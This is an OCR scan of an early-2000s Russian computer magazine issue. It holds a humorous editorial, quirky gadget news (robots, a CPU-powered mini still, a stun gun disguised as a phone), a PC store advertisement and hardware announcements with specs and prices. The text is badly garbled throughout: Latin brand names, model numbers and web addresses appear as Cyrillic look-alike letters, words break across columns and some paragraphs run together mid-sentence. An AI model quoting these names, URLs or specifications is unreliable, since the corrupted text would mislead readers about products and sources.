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Доброго, приятель! 
Как-то незаметно и 
без помпы мы проско- 
чили вроде как юби- 
лейный пятидесятый 
номер. Даже и не 
вспомнили, что в таких случаях принято 
долго и с нескрываемым удовольствием 
рассказывать о нас, любимых, и о той 
грандиозной работе, которую мы, не 
смыкая глаз и не покладая рук, творим на 
благо самого дорогого, что у нас есть - 
тебя! Теперь уже поздно, проехали, при- 
дется отложить празднества на сотый но- 
мер, а вместо рассказов о том, какие мы 
крутые, впитывай 112 страниц компью- 
терно-андерграундного прогрессива. Ес- 
ли ты обратил внимание на обложку (а ты 
обратил внимание на обложку, я не сом- 
неваюсь ;)), то, наверное, поймешь, ка- 
кие весенне-мартовские настроения нас 
тут обуревают. Холод в дружественном 
издании Хулиган извращается с трафаре- 
том для измерения пениса, мы с Синте- 
зом под видом выбора макета обложки 
бороздим просторы порно-нета, в голову 
лезет всякий бред про секс, любовь и все 
такое... Ну и, конечно, прохайтек. Почему 
про хайтек? У меня это как в анекдоте: «А 
я всегда о нем думаю». Вот, например, не 
далее как вчера, у меня произошел такой 
характерный диалог с моей подругой: 



Я: (погружен в свои мысли, неожиданно 
замечаю, что она уже давно расписывает 
перспективы нашей совместной и жизни 
и, кстати, продвинулась в своих планах 
довольно далеко.) 

ОНА: ...а если будет девочка, будет еще 
лучше! Будем покупать ей всякие красивые 
ползунки, погремушки, бантики, 
кружавчики... Правда, здорово? Ну, правда? 
Я: (задумчиво) А вот если бы это была 
собака ЗопуАіЬо... 

ОНА: (ошарашенно) Что?.. 

Я: Мы бы ей покупали новый софт на 
дни рождения, имплантаты там всякие, 
примочки для... 

ОНА: (прерывая) Ты вообще слушал, о чем 
я говорила? 

Я: (мечтательно) Поставили бы ей прибор 
ночного видения, тепловой датчик... 

ОНА: Я о ребенке! 

Я: Не, тогда с прибором ночного видения 
будет сложнее, придется вживлять ... 

Может, лучше все-таки АіЬо? 

Звонкая пощечина. 

Может, она и права. Ну ее на фиг, эту 
АіЬо! Тем более что имплантаты уже 
давно вживляют и людям. Значит так: 
левый глаз еще в роддоме подключаем к 
чипу ночного видения, правый - к 
термодатчику, и понеслось... 

Александр ‘ 2 роі 50 п 8 ’ Сидоровский 
главред X 
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• Ученые Манчестерского университета заявили "самый совершенный детектор лжи". Девайс 
Зііепі Таікег не имеет обычных датчиков для тела. Миниатюрная видеокамера "смотрит" человеку в 
глаза, а портативный компьютер анализирует малейшие движения лицевой мускулатуры и незамет- 
ные невооруженным глазом жесты. На испытаниях полиграф "попал в точку" в 4 случаях из 5, что 
превосходит показатели классического детектора лжи. 




ЭКСТРЕМАЛЬНЫЙ МИКСЕР 



• Компания из Милуоки представила экстремальный беспроводный миксер с выхлопной трубой и двухтактным дви- 
гателем внутреннего сгорания. Девайс приводится в действие автомобильным стартером со сменными свечами. Ско- 
рость вращения ножей в мельничке регулируется мотоциклетной рукояткой. Для надежности резаки лопастей миксера 
- из титана. Стенки вместительной чаши изготовлены из сверхпрочного непробиваемого стекла. Девайс способен пе- 
ремолоть все что угодно: ананасы в кожуре и сайру в консервной банке. Цена в интернете - 379 долларов. 





• Гран-при японской ярмарки изобретений Ісіеа Ехро получило самое маленькое в мире моторизо- 
ванное транспортное средство. Базу ЗІпоез - обыкновенные коричневые ботинки 40-го размера с 
вмонтированными в подошву роликами и электромоторами. Они везут 70-килограммового владельца 
на скорости до 22 километров в час. Ацуси Фукуниси работал над девайсом по вечерам и выходным 
долгие полгода. Самым сложным, по его словам, было вместить в обувку сразу два электромотора, 
приводы, схему дистанционного управления и силовую цепь. Восьмивольтовые батареи крепятся при- 
щепкой на брюки. Подошвы пришлось укрепить, чтобы те не загорелись от трения. Для того чтобы не 
упасть при движении, владельцу скороходов приходится принимать позу горнолыжника. 



ПЫЛЕСОС ТОЧНОГО НАВЕДЕНИЯ 




• Новый хайтек-пылесос от Затзипд будет использовать технологии работы навигационной системы ракет точного наведения. Девайс 
ориентируется в пространстве по трехмерной карте комнаты в памяти компьютера. Для ее создания используются изображения, полу- 
чаемые с двух встроенных инфракрасных камер. Одна из них смотрит вперед, другая - в потолок. В первый раз пылесос двигается на 
ощупь, руководствуясь показаниями сенсорных датчиков, и даже может что-нибудь сломать ненароком. Получив в свое распоряжение 
карту комнаты, он уже не ошибается, выбирая для уборки самый эффективный и короткий путь. Чтобы пылесос был менее громоздким, 
блок управления вынесен в отдельное устройство, которое включает и выключает девайс на расстоянии по радиосвязи. Пылесос имеет 
встроенный прибор ночного видения. Он позволяет делать уборку в темноте, пока хозяева сладко спят, заткнув уши берушами. Новинка 
поступит в продажу не раньше следующего года. 





• Шотландская компания ІпІеІМдепі ЕагІГі (ѵѵѵѵѵѵ.іпіеііідепі-еагііп.сопп) представила голову андроида. Собеседник из Рокі неважнец- 
кий. Зато несомненного таланта распознавать пол человека роботу не занимать. Глаза Рокі имеют две степени свободы вращения. 
Они представляют собой сложнейший агрегат стереозрения с дальномером и системой слежения за объектом в движении. Сенсоры 
на шее позволяют голове поворачиваться на 180 градусов, чтобы лучше разглядеть человека. Повращав стеклянными глазищами, 
Рокі с уверенностью говорит, кто перед ним - мальчик или девочка. Для этого робот анализирует с десяток характеристик лица, за- 
ложенных в его базу данных. Девушку робот еще и критически оценит - насколько она обая- 








ШКАТ НА МОЛНИИ 
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• Тайваньский изобретатель предлагает выпускать мебель на молнии. Отдельные секции смыкаются при помощи 
съемного ползунка, что обеспечивает довольно устойчивое соединение. Одним движением руки можно легко и быстро 
"повязать", например, дерево и пластмассу. Разборка осуществляется аналогичным способом. 
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БРАГА ИЗ-ПОД КУЛЕРА 
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• Некто Джеймс Шерман сконструировал миниатюрный самогонный аппарат. В основу его работы лег физический процесс конденсации, 
гревания алкоголя был использован допотопный проц АІѴЮ Кб 233 МГц. Для охлаждения паров подошел кулер от него же. Из тонкого листа меди пе- 
рец сделал герметичную емкость 5x5x1 см, после чего пробил в ней аккуратную дырочку и вставил медицинскую трубку- катетер. Последнюю он не- 
сколько раз пропустил через радиатор кулера, а для пущей уверенности выдержал эту часть агрегата в мо- 
розильнике. Позже в емкость был налит ром. Джеймс загрузил Линукс и запустил небольшую программули- 
ну, которая по полной напрягла проц. Через 10 минут первая капля легла на дно флакона для духов. За час 
работы Линукс повисал дважды, пока совсем не перестал загружаться. К тому времени набежала пара мил- 
лилитров браги. Перец не только попробовал ее на язык, но и поджег, любуясь своим творением в синих 
лепестках пламени. Иллюстрации и тонкие замечания автора доступны на ѵѵѵѵѵѵ.еха{Іор.огд/босз/х86збІІ/. 



УЛЫБКА РОБОТА 



• Дэвид Хэнсон, студент Университета Техаса, построил роботизированную 
копию человеческого лица. Для этого он обтянул половинку искусственного 
черепа полимерным материалом, близким по фактуре и свойствам коже че- 
ловека. Электромоторчики приводят в действие 24 элемента К-ВоТ, управля- 
ющие движениями искусственных лицевых мышц. Роль глаз выполняют две 
миниатюрные видеокамеры. Они передают картинку на компьютер, что поз- 
воляет роботу обезьянничать, копируя мимику живого собеседника. Про- 
граммное обеспечение обучено 28 различным выражениям лица - от удивле- 
ния до злорадной ухмылки. Вся конструкция весит 2 килограмма. Материалы 
для создания эмоционального робота обошлись Хэнсону в 400 долларов. 




ЖЕЛЕЗНАЯ ЗОЛУШКА 



• МйзиЬізЫ представила робота-домохозяйку. 
Ростом не больше метра труженица ѴѴакатаги шу- 
стро перемещается на своих трех колесах. А боль- 
шие доверчивые глазенки всякого возьмут за ду- 
шу. Встроенное программное обеспечение позво- 
ляет роботихе "узнавать" окружающих по лицам и 
голосам, внимать вежливым просьбам. Словарный 
запас - более 1 0 тысяч слов. Роботиха умеет раз- 
веселить хныкающих детей и здорово поддержать 
стариков во время болезни. Если в доме непоря- 
док, она автоматически выходит в интернет, чтобы 
связаться с хозяином по электронной почте. Заря- 
да батареи хватает на 2 часа работы, после чего 
ѴѴакатага отправляется к ближайшей розетке. Но- 
винка будет продаваться по цене 8.300 долларов. 



• МіізиЬізИі Апіплаігопісз в сво- 
ем новом роботе воскресила це- 
лаканта - доисторическую рыбу, 
которая вымерла 65 миллионов 
лет назад. Теперь 70-сантимет- 
ровая рыбеха обитает в аквариу- 
ме научного музея японского го- 
рода Фукуи. Она напичкана 12 
килограммами электроники и 
сервоприводов. Посетители му- 
зея окружают аквариум и с удо- 
вольствием приманивают рыбу к 
себе нажатиями кнопок на лице- 
вой панели. Питается робот в 
электронной кормушке - у авто- 
матического зарядного устройства. 






кухонный компьютер 



• Компания ІсеЬох (ѵ\шѵ.ісеЬох.{ѵ) представила компьютер 
для кухни. Конструкция девайса отвечает самым жестким тре- 
бованиям съестного производства. Прочный металлический 
корпус СоипіегТор РС имеет форму конуса и защищен от слу- 
чайного опрокидывания. Водонепроницаемая платформа на 
резиновых ножках спасает от влаги. Комфортный слот с ОМО- 
плеером защищает диски от замызгивания. А жирные пятна 
на беспроводной клавиатуре и пульте дистанционного управ- 
ления можно отмывать под струей воды. По бокам сенсорного 
монитора на ТРТ-матрице встроены колонки. В довершение 
всего, наличие параллельного, инфракрасного и ІІ5В-портов, 
а также РМ-тюнера и входа для кабельного ТВ. Девайс рабо- 
тает под ѴѴіпсІоѵѵз СЕ. МЕГ. Цена - около 1 .400 долларов. 
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ПОЮЩАЯ КУРТКА 
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Ж Алекс Целых (Ыеѵѵз@геаІ. хакер, ш) 




• Арріе и Вигіоп ЗпоѵѵЬоагсІз (ѵѵѵѵѵѵ.аррІе.сот/іросІ/ЬиіІоп/) представили спортивную зимнюю куртку из "умно- 
го" текстиля. Содержание в материале металлических частиц позволяет без дополнительных проводов пере- 
давать электрические сигналы. Небольшая полоска текстиля вставлена в рукав куртки и представляет собой 
удобный сенсорный пульт управления трЗ-плеером іРосІ. Не вынимая девайса из специального нагрудного 
кармана, можно сменять проигрываемую мелодию, регулировать звук. "Умный" текстиль не боится воды, и 
куртку можно стирать вместе с другими вещами. Новинка продается через интернет за 499 долларов. 



ІМАХ У НАС 



• В новом московском "Рамсторе" на Ленинградке открывается первый в России кинотеатр ІМАХ 
(ѵѵѵѵѵѵ.ітах.сот). Гигантский экран размером с семиэтажный дом будет создавать непередаваемый эффект при- 
сутствия. Изображение настолько большое, что глаз человека не способен воспринимать его целиком. Оно запол- 
няет всю зону видимости, и зритель переживает тотальное погружение в кино. Проектор ІМАХ - наиболее совре- 
менный, точный и мощный в киноиндустрии. В нем установлена ксеноновая газоразрядная лампа мощностью до 
15,000 Вт на водяном охлаждении. Для трехмерных фильмов идет показ двух копий одновременно - для левого и 
правого глаза стереоочков на жидких кристаллах. Выдающееся качество изображения достигается использовани- 
ем кадра в 10 раз больше, чем на стандартной пленке 35 мм. Во всемирной кинотеке ІМАХ - десятки "живых" на- 
учно-популярных и игровых фильмов, включая специальные версии "Аполлона 1 3" и "Атаки клонов" Лукаса. Мос- 
ковский ІМАХ рассчитан на 389 мест, кресла расположены под углом. Цена билета не уточняется. 



МОБИЛЬНИК под током 




• Компания 5аМу ТесГіпоІоду (ѵшд/.заіеіуіесііпоіоду.сопп) представила девайс для предупреждения краж мобиль- 
ников. За муляжом сотового телефона скрывается электрошокер. Одно неверное нажатие, и воришка получает раз- 
ряд в 180 тысяч вольт. Владелец может отключить шокер, зная расположение потайной кнопки. В СеІІ РІіопе 5!ип 
Сип также встроена сирена на 1 30 Дб. Устройство является средством персональной защиты и не работает как со- 
товый. Несмотря на это, компания предлагает дополнительные аксессуары: чехол и клипсу. Находка для хулиганов 
продается в интернет-магазине за 79 долларов. 
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РОБОТ-НЕЙРОХИРУРГ 



ОСТОРОЖНО, ДЕТИ! 



• В Сингапуре разработали робота, сверлящего дырки в 
черепе. Шестиногий "Гексапод" справляется с нехитрой за- 
дачей лучше любого врача-человека. Он делает это быстро 
и точно, увеличивая шансы на успех операции и сокращая 
время ее проведения с 9 до 4 часов. Для программирова- 
ния робота используются данные томограммы о трехмер- 
ном строении мозга. Врачи только указывают на положение 
опухоли, программа самостоятельно рассчитывает опти- 
мальное место для сверления. При этом робот обходит 
нервы и сосуды, которые нельзя повреждать во время опе- 
рации. Программная часть работает под Линуксом. 



• Примитивный робот с человеческим именем Каііе В. ѴѴеІІ учит де- 
тишек правилам безопасности. Для этого его сажают на трехколес- 
ный велосипед. Один человек управляет движениями робота на пово- 
ротах и давит клаксон, другой - говорит вместо Каііе, которая всего 
лишь открывает рот. Робот рассказывает, как правильно звонить 911, 
играть на детской площадке и не задушить себя шарфом, намазать 
крекер арахисовым маслом и не поперхнуться. Каііе изготовлена по 
спецзаказу благотворительного общества Св.Джозефа в рамках гран- 
та на 4 тысячи долларов. 




пиво из ЦЕНТРИФУГИ 



• Священник Михаэль Фай (шт. гтИеу.сІе) из Германии, большой знаток и любитель пива, переоборудовал сти- 
ральную машину в агрегат для производства янтарного напитка. Для этого он немного усовершенствовал старенькую 
центрифугу со стальным баком и нагревателем. Все механические термометры и датчики были заменены электрон- 
ными. Манометр через параллельный порт подключен к ноутбуку. В процессе варки используются режимы стирки и 
подогрева вода. Компьютер следит, чтобы сусло из солода или концентрата было нагрето до постоянной температу- 
ры и помешивалось. Выдержав необходимое время, машина засыпает в бак хмель, и брага варится еще час. После 
охлаждения пиво начинает бродить. Скоро его можно разливать по бутылкам. Изобретатель агрегата рекомендует вы- 
держивать пиво из стиралки в течение нескольких недель, чтобы оно дозрело, и только потом потреблять внутрь. 
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Персональных ПК не существовало. 

Вплоть до конца XX века приготов- 
ление домашних заданий было сов- 
сем не таким увлекательным делом. 
Много времени уходило на поиск 
нужного материала в библиотеках, 
а о наглядности и говорить 
не приходилось . 



Время новых технологий. 

Использование компьютера Ехбгете 0Ь 
на базе процессора Іпбеі® Репбіит® 4, 
делает процесс обучения увлекательным. 
Новые технологии - выбор современного 
школьника и студента, которые хотят 
расширить свой кругозор, быстро переме- 
щаясь по бескрайним просторам Іпбегпеб. 






Расширь кругозор с компьютером Ехігете 01 



Ехігете СІ_ на базе процессора Іпіеі® Репііипл® 4 
- это надежный помощник при работе с профессио- 
нальными офисными, графическими, самыми совре- 
менными обучающими программами, компьютерными 
энциклопедиями и 3-0 играми. Ехігете СІ_ на базе 
процессора Іпіеі® Репііит® 4, расширит кругозор 
Ваших детей, откроет доступ к образовательным ре- 
сурсам, позволит изучать мир совершенно по-новому. 



Процессор Іпіеі® Репііит® 4 2,40 Мгц 


Оперативная память 


256Мб 


НЖМД 


Н00 40 Гб 


НГМД 


Р00 1.44 Мб 


Видеоконтроллер 


64 Мб АОР М5І О4МХ440 ТѴО 


СО-ПОМ 


52 СО РОМ 


Звуковой контроллер 


30 Зоипб 


Корпус 


Собедеп 300 ѴѴ 


Монитор 


17” 5ат$ипд 




Сеть компьютерных салонов “Техмаркет - Компьютере”: 



м. «Динамо» ул. 8 Марта, д. 10, стр. 1, тел: 363-9333 

м. «Красносельская» ул. Русаковская, д. 2/1, тел: 264-1234 

м. «Каховская» Симферопольский б-р, д. 20А, тел: 310-6100 

м. «Сокол» ул. Новопесчаная, д. 11, тел: 157-5080 

м. «Полежаевская» Хорошевское ш., д. 72, корп.1, тел: 941-0176 



Іпіеі, логотип Іпіеі Іпзісіе и Репііит - зарегистрированные товарные знаки 
Іпіеі Согрогаііоп и ее филиалов в США с других странах. 



м. «Дмитровская» ул. Башиловская, д. 29, тел: 257-8268 

м. «Савеловская» ВКЦ “Савеловский”, пав. 0-38, тел: 784-6485 

м. «Братиславская» ул. Братиславская д. 16, стр. 1, тел: 347-9638 

интернет магазин \л/\л/ѵѵ.5000.ги 

дилерам тел: 363-9363 



I 



единая справочная: (095) 363-9333 

ѵѵѵѵш.іе сИтагкеІ.ги 




ЕШМАРКЕТ 



Гарантия на компьютеры 2 года * Любые конфигурации * Периферия 5000 наименований компьютере 

Товар сертифицирован * Продажа в кредит * Сервисное обслуживание * Бесплатная доставка по Москве 







Н-эггіМеѵг 
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В номере: 

Распальцованный Раіт 
УпсХоѵѵб материализовался! 
Смартфон от Затзипд 
Новинка от Ерзоп 



МАРТ 

2003 



№51 




ХРаспапьцован- 
ный Раіт 

Компания Раіт планирует уже в этом 
месяце начать выпуск своей самой на- 
вороченной и дорогой модели - Раіт 
Типдзіеп ѴѴ. Из ее особенностей можно 
отметить наличие встроенной клавиа- 




туры, цветного ЖК-экрана с разреше- 
нием 320x320 пикселов, 33-мегагерцо- 
вого процессора Моіогоіа ОгадопЬаІІ 
Ѵ2, слота для 50-карт расширения, 
поддержку СРП5 и прочие продвину- 
тые фишки. Цена на эту новинку ожи- 
дается порядка $550. 

Негтез 
в миниатюре 

Компания МЗІ представила две новые 
ЬагеЬопе-системы из серии Негтез: 
Негтез 651 (МЗ-6232ѴА) и Негтез 
8450Ѵ (МЗ-6243ѴА). Корпуса этих сис- 
тем выполнены в формфакторе 1_РХ, а 
блок питания имеет мощность 200 Вт. 
Платы, устанавливаемые в них, имеют 
размеры 320x195 мм, и предназначены 
для работы с процессорами ІпіеІ 
Репйит 4 с РЗВ 533 МГц и тактовой час- 
тотой до 2,8 ГГц. Они оборудованы сло- 
том расширения РСІ в единственном эк- 
земпляре, двумя разъемами ОІММ с 
поддержкой до 2 Гб памяти 
ООП200/266/333, 6-канальным аудио, 
интегрированным Разі ЕЙіегпеІ: контрол- 




лером. Также на корпусах систем име- 
ются четыре порта 115В 2.0, аудио вхо- 
ды/выходы, ІЕЕЕ 1394, ТВ выход. Непло- 
хо для такого малыша. 

Новая 

цифровушка 

Компания Репіах объявила о скором вы- 
ходе новой цифровой камеры Орііо 331- 
Камера может похвастаться наличием 
1 ,5-дюймового вращающегося ЖК- 
дисплея, который может особенно при- 
годиться в качестве таймера. Основные 
характеристики камеры имеют следую- 
щий вид: 

Интерфейс - 115В, видеовыход; 

1/2,7» ССО; 

Эффективное число пикселов - 3,2 млн; 
Объектив - оптический 3-кратный зум; 
Цифровой 2,7-кратный зум; 
Минимальное фокусное расстояние - 40 
см в нормальном режиме и 10 см в ре- 
жиме макросъемки; 

Формат файлов - ЭРЕО; 

П 







Разрешение - 2048x1536, 1600x1200, 
1024x768, 640x480; 

Запись видео - 320x240, 1 5 кадров в се- 
кунду АѴІ; 

Носитель - СотрасІРІазГі Туреі ; 
Размеры - 105x41 ,5x63 мм; 

Вес - 230 г. 

Продаваться эта цифровая радость бу- 
дет по цене приблизительно $440. 

Ыпсіоѵі/ 8 матери- 
ализовался! 

Компания Ппсіоѵѵз на страницах своего 
сайта начала предлагать не только на- 
шумевшую ОС, но и недорогой ноутбук 
Цпсіоѵѵз МоЫІе РС. Этот ноутбук несет в 
себе 933 МГц процессор ѴІА СЗ, 256 МБ 
оперативной памяти, 12,1 -дюймовый 




1024x768 ЖК-дисплей, винчестер на 20 
ГБ, порты 115В 2.0 (а также Рігеѵѵіге, 
ЕЙіегпеЦ и слоты РСМСІА. Также прила- 
гается внешний СО- НОМ -привод и пре- 
дустановленная версия ОС Шпсіоѵѵз. Ве- 
сит этот ноутбук около 1 ,2 кг, а стоит по- 
рядка $800. 

Мобильная 

радость 

Компания Моіогоіа объявила о запуске в 
продажу новой блестящей штучки, а 
именно мобильного телефона С350. 
Чтобы не быть голословными, приведем 
ее технические характеристики: 

Вес - 80 г; 

Размер - 98x42x18 мм; 

Время разговора - 180 - 300 мин; 
Емкость Ц-Іоп-батареи - 650 тАІі; 
Цветной 96x65 СЗШ -дисплей с подде- 
ржкой 4096 цветов; 

Время ожидания 150 - 200ч; 

Поддержка СРВ5 (1 ІІр/4 Ооѵѵп); 

Полная русификация, включая клавиату- 
ру (поддержка ІІТР8, ІІС52 & А5СІІ); 
Сменные корпуса; 

Загружаемые темы (мелодия, цветная 
заставка и цветной хранитель экрана); 
МоІоМіхег для МЮІ-мелодий; 




Графическое редактируемое и цветное 
анимированное меню; 

Поддержка ЕМ5 ѵ.5.0; 

До 30 встроенных и 30 полифонических 
МЮІ-звонков (16 каналов, 128 инстру- 
ментов) в форматах СепегаІ МЮІ, МЮІ 
5Р и іМеІобу; 

3 цветных Уаѵа (Э2МЕ) игры - 
АзІгозтазГі, МоІоСР, ЗпоосІ 21 ; 
Голосовое управление, 20 голосовых 
меток; 

Органайзер с напоминаниями и будиль- 
ником; 

Калькулятор, конвертер валют; 

ѴѴАР 1 .2.1 микробраузер (МІВ 2.0) через 
СРВ5; 

5М5-чат; 

Міпі-ІІ5В подключение для модема; 
Синхронизация с ОС. 

Стоить все это великолепие будет около 
$180-200. 

Смартфон от 
Затзипд 







С 



Два гранда, компании М іеговой и 
Затзипд ЕІесйопісз, официально 
представили совместный продукт 
Затзипд МП (МоЬіІе ІпіеІІідепПегтіпаІ 
Ьу Затзипд) 5СН-І700 - С5М/СРВ5 
смартфон под управлением ѴѴіпсІоѵѵз 
Роскеі РС, представляющий собой 
беспроводной РОА с интегрированной 
цифровой камерой, сенсорным цвет- 
ным ЖК-экраном и оборудованный 
слотом под флэш-карты 50. Юзеры, 
обладающие МІТ 5СН-І700 Роскеі смо- 
гут делать телефонные звонки, посы- 
лать 5М5-сообщения, воспроизводить 
мультимедийные файлы, а также выхо- 
дить в интернет и пользоваться элект- 
ронной почтой с помощью МісгозоЙ 
Оиііоок. 
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Фотики от 
РиііРіІт 

Компания Ріуі Рбоіо Рііт представила 
две новые цифровушки. Название нови- 
нок - Рірт РіпеРіх Р700 и РіпеРіх Р410. 
Первая из них, Рірт РіпеРіх Р700, под- 
держивает разрешение 6,2 мегапиксе- 
лов и использует новую матрицу Зирег 
ССЭ ЗР, которая позволяет добиться 
большей чувствительности к свету и те- 




ни и, следовательно, получить снимки 
более высокого качества. Стоить эта ка- 
мера будет порядка $600. Модель 
РіпеРіх Р410 несколько проще и дешев- 
ле. Проще из-за 

использования 3. 1 -мегапиксельного 
сенсора ССО НВ, а дешевле на $1 00. 



Новинка от АЬіІ 

Компания АЬіі представила новую мате- 
ринку К07-С для совместной жизни с 
процессорами отАМЭ. 

Представляем ее основные 
спецификации: 



Форм-фактор АТХ; 

Поддержка процессоров 
Оигоп/Аііііоп/Аііііоп ХР; 

Чипсет ѴІА КТ400; 

Поддержка ІІЗВ 2.0; 

Поддержка АСР 4Х/8Х; 

Четыре разъема ЭІММ ООН; 

Контроллер ЗегіаІ АТА РСІ; 

Поддержка 2 портов ЗАТА 1 50 
(1 ,5Гбит/с) для РАЮ 0, 1 
Контроллер ІО/ІООМЬ ЦММ; 

6-канальный кодек АС’97; 

24-битный выход 3/РОІР; 

Шесть слотов РСІ; 

Два разъема Шга ОМА 33/66/1 00/1 33; 
Два разветвителя ІІЗВ; 

Разъем клавиатуры и мыши РЗ/2. 

Также мамка может похвастаться аппа- 
ратным мониторингом скорости враще- 
ния вентиляторов, напряжения питания 
и температуры системы. 



Мониторы от Ю 

Компания І_С ЕІесігопісз представила 
два новых ЭЛТ монитора из линейки 
РІАТОИ: РІАТОИ егТ710ВН/РН и РЬА- 
ТВОІМ еі Т910ВН. Внешне их отличает 
новый элемент дизайна: необычная вы- 
тянутая панель, на которой расположена 
кнопка включения питания. Фишка этих 
недорогих плоских мониторов в дина- 
мично изменяемой яркости. РІажатием 
на специальную кнопку ты сможешь ус- 
тановить яркость экрана в одно из пре- 
дустановленных положений, в зависи- 
мости от типа запущенного приложения 
(эта функция нахывается Вгідіті Ѵіеѵѵ). 
Кроме этого, некоторые модификации 




будут обладать функцией Вгідіті ѴѴіпсІоѵѵ 
(частичная яркость). 

Для любителей компактных ЖК монито- 
ров І_С предлагает модель с окантовкой 
вокруг экрана менее 3 см. Монитор на- 
зывается І_6 РІАТВОІМ Ы 710В и спосо- 
бен отображать 1 6.7 миллионов цветов. 

Новинка от 
Ерзоп 

Компания Ерзоп объявила о начале офи- 
циальных поставок новой модели фо- 
топринтера - Ерзоп Зіуіиз РІтоіо 900, из 
ключевых особенностей которого можно 
отметить возможность печати на СО-, 
ОѴО-болванках и других носителях. Так- 
же эта модель обеспечивает 6-цветную 
печать с разрешением до 5760x720 фі, 
имеет функцию печати фотографий без 
полей на листовой и рулонной бумаге, 
поддерживает технологию РРІИТ Ітаде 
Маісбіпд II (позволяющую улучшить ка- 
чество печати цифровых фотоснимков), 
имеет интерфейсы ІІЗВ и 1_РТ, а также 




использует цветной картридж ІпіеІІіфе с 
повышенной емкостью. Стоит новинка 
около $230. 

Свободный 

привод 

Компания І_6 ЕІесігопісз выпустила в 
продажу новый внешний СО-ВѴѴДМ)- 
привод ССС-5241Р. Привод, помимо 
стильного внешнего вида и тяги к неза- 
висимости, имеет: 

Интерфейс ІІЗВ 2.0, 

Максимальную скорость записи СО-В - 
24х; 

Запись/перезапись СО-ВѴѴ - 1 0х; 
Скорость чтения СО-дисков - 24х и М) 
-8х; 

2-мегабайтый буфер; 

Защиту от опустошения буфера в про- 
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цессе записи болванки; 

Время доступа при работе с СЭ-бол- 
ванками - 110 мс, при работе с П\Ю - 
1 20 мс. 

В комплект поставки включен Мега 5.5, 
стоит привод около $350. 

Внешний 

винчестер 

На свободу стремятся вырваться не 
только приводы, но и новые внешние 
винчестеры отѴѴезіегп ОідііаІ, оборудо- 
ванные комбинированным набором ин- 
терфейсов РігеѴѴіге/ІІ8В 2.0. Еще эти 
модели отличаются скоростью враще- 
ния шпинделя 7200 об/мин, буфером 
на 2 МБ и емкостью на 1 20 и 200 ГБ 
(модель ѴЮХС1200ВВВММ и 




ТОХС2000ВВВММ соответственно). 
Среднее время доступа (ігаск-іо-ігаск) 
должно находиться в пределах 2 мс, 
среднее время позиционирования в 
пределах 9 мс, номинальная задержка 
при этом должна составлять около 4,2 
мс. Винчестеры обратно совместимы с 
118В 1 .1 , а работать призваны в систе- 
мах, контролируемых ѴѴіпсІоѵѵз 98 
8Е/М Е/2000/ХР или Мае 08 ѵ9.х и вы- 
ше. Стоимость на 1 20 Гб версию вин- 
честера составляет $300, 200 Гб - $400. 



Клавы от ІВМ 

Компания ІВМ представила две новые 
клавы: ІВМ 118В КеуЬоагсІ и ІВМ 118В 
ТгаѵеІ КеуЬоагсІ с системой Шга№ѵ, 
имеющие ТгаскРоіпі и реагирующий 
на прикосновения ТоисЬрасІ. Клавиа- 
туры разработаны для использования 
дома, в офисе или в дороге. В их из- 
готовлении применены те же техноло- 
гии, что и в ноутбуках семейства ІВМ 
ТЬіпкРасІ. ІВМ 118В ТгаѵеІ КеуЬоагсІ от- 
личается от своей сестрички мень- 
шим размером и весом из-за отсут- 
ствия цифровой клавиатуры. Стоить 
эти клавы, любящие нежные прикос- 
новения, будут порядка $100. 




Комбайн от 
Оідііех 

Комбо-плейер Оідііех М Р-309 это и 
МРЗ-проигрыватель, и диктофон, и 
флеш-диск объемом 1 28 Мб для пе- 
реноса данных. На диске уместится 
128 минут музыки, пожатой на 128 
Ьрз или 8 часов звука, если исполь- 
зовать девайс в режме диктофона. В 
качестве источника питания исполь- 
зуется ААА батарейка, которой, по 
заявлению производителя, хватает 
на 12 часов воспроизведения. МР- 
309 подключается к компьютеру по 
118В порту, операционки, начиная с 
ѴѴіпсІоѵѵз 2000 должны распознать 
его самостоятельно, что делает этот 
плейер исключительно простым в 
использовании. По предваритель- 
ным данным, цена такого счастья в 
Моевке составит что-то около $175. 

ІІ.З.ВоЬоіісз 
представляет 
новый модем 
на протоколе 
Ѵ.92 

По утверждению ІІ.З.КоЬоіісз, новый 
факс-модем «56К Рахтосіет 118В» - 
один из первых примеров полной ре- 
ализации стандарта Ѵ.92. Напомню, 
что основными преимуществами 
протокола считается возможность 
отвечать на телефонный звонок, не 
разрывая соединения с интернетом, 
а также определять телефонный но- 
мер звонящего. Впрочем, эти услуги 
протокола Ѵ.92 помимо провайдера 
должна поддерживать и местная АТС, 
а это в России пока относится к об- 
ласти светлого будущего. Помимо 
прочего, новый модем от 118В умеет 
отсылать данные со скоростью до 48 
кбит/сек и запоминает характеристи- 
ки последнего подключения, так что 
при последующем сеансе связи сое- 
динение устанавливается уже по ус- 
коренной программе. Питается де- 
вайс через шину 118В, что очень 
удобно, т.к. исчезает необходимость 
выделения для модема отдельной 
розетки 220В. 

ЦЗЫ Сотриіегз 
продвигает 
видеомонтаж 

Мечтаешь о славе Стивена Спилберга? 
Планируешь собрать компромат на на- 
чальника или подглядеть за подружкой? 
В любом случае, тебе нужно будет нау- 



читься снимать, обрабатывать и монти- 
ровать отснятый материал. А значит, 
тебе понадобятся платы для компью- 
терного видеомонтажа, например, та- 
кие, которые производит компания 
Ріппасіе Зузіетз. Как именно пользо- 
ваться этими устройствами, наглядно 
демонстрировалось на серии презента- 
ций, которые проходили в магазине 
1181М Сотриіегз (ѵѵѵѵѵѵ.изп.ги) . Присут- 
ствующий народ снимали и тут же, в их 
присутствии, монтировали видеороли- 
ки. Выращиваем смену Спилбергу? 

Ноутбук 
в подарок 

Чтобы ты не думал, что конкурсы в на- 
шем журнале липовые, и мы сами за- 
бираем себе все призы, публикуем 
документальное свидетельство пере- 
дачи настоящего (!) нового (!!) работа- 
ющего (!!!) ноутбука в руки победите- 
лю конкурса, который проводила ком- 
пания «Ф-Центр». Русинов Юрий Вла- 
димирович из Москвы знает, о чем 
гласит закон Мура, помнит, в каком 
году был выпущен первый Репііит 4 и 
вообще, смог ответить на все вопросы 
этой сложнейшей викторины. Вруче- 
ние происходило на ул. Сухонской в 
магазине компании «Ф-Центр», кото- 




рая, кстати говоря, недавно была наг- 
раждена почетным дипломом ІпіеІ за 
«выдающиеся успехи в продаже плат- 
форм ІпіеІ (г) для настольных ПК». 

Первая цифро- 
вая камера с 
органическим 
дисплеем 

Кобак представила новую цифровую 
камеру, уникальность которой заклю- 
чена в экране. Кобак І_8633 это пер- 
вый в мире фотоаппарат с так называ- 
емым органическим (ОІ_ЕО) диспле- 
ем. Гигантский 2.2 дюймовый экран 
(по площади он в двое больше, чем на 
большинстве других камер) обеспечи- 
вает огромный угол обзора - 165 гра- 
дусов, более насыщенные и естест- 
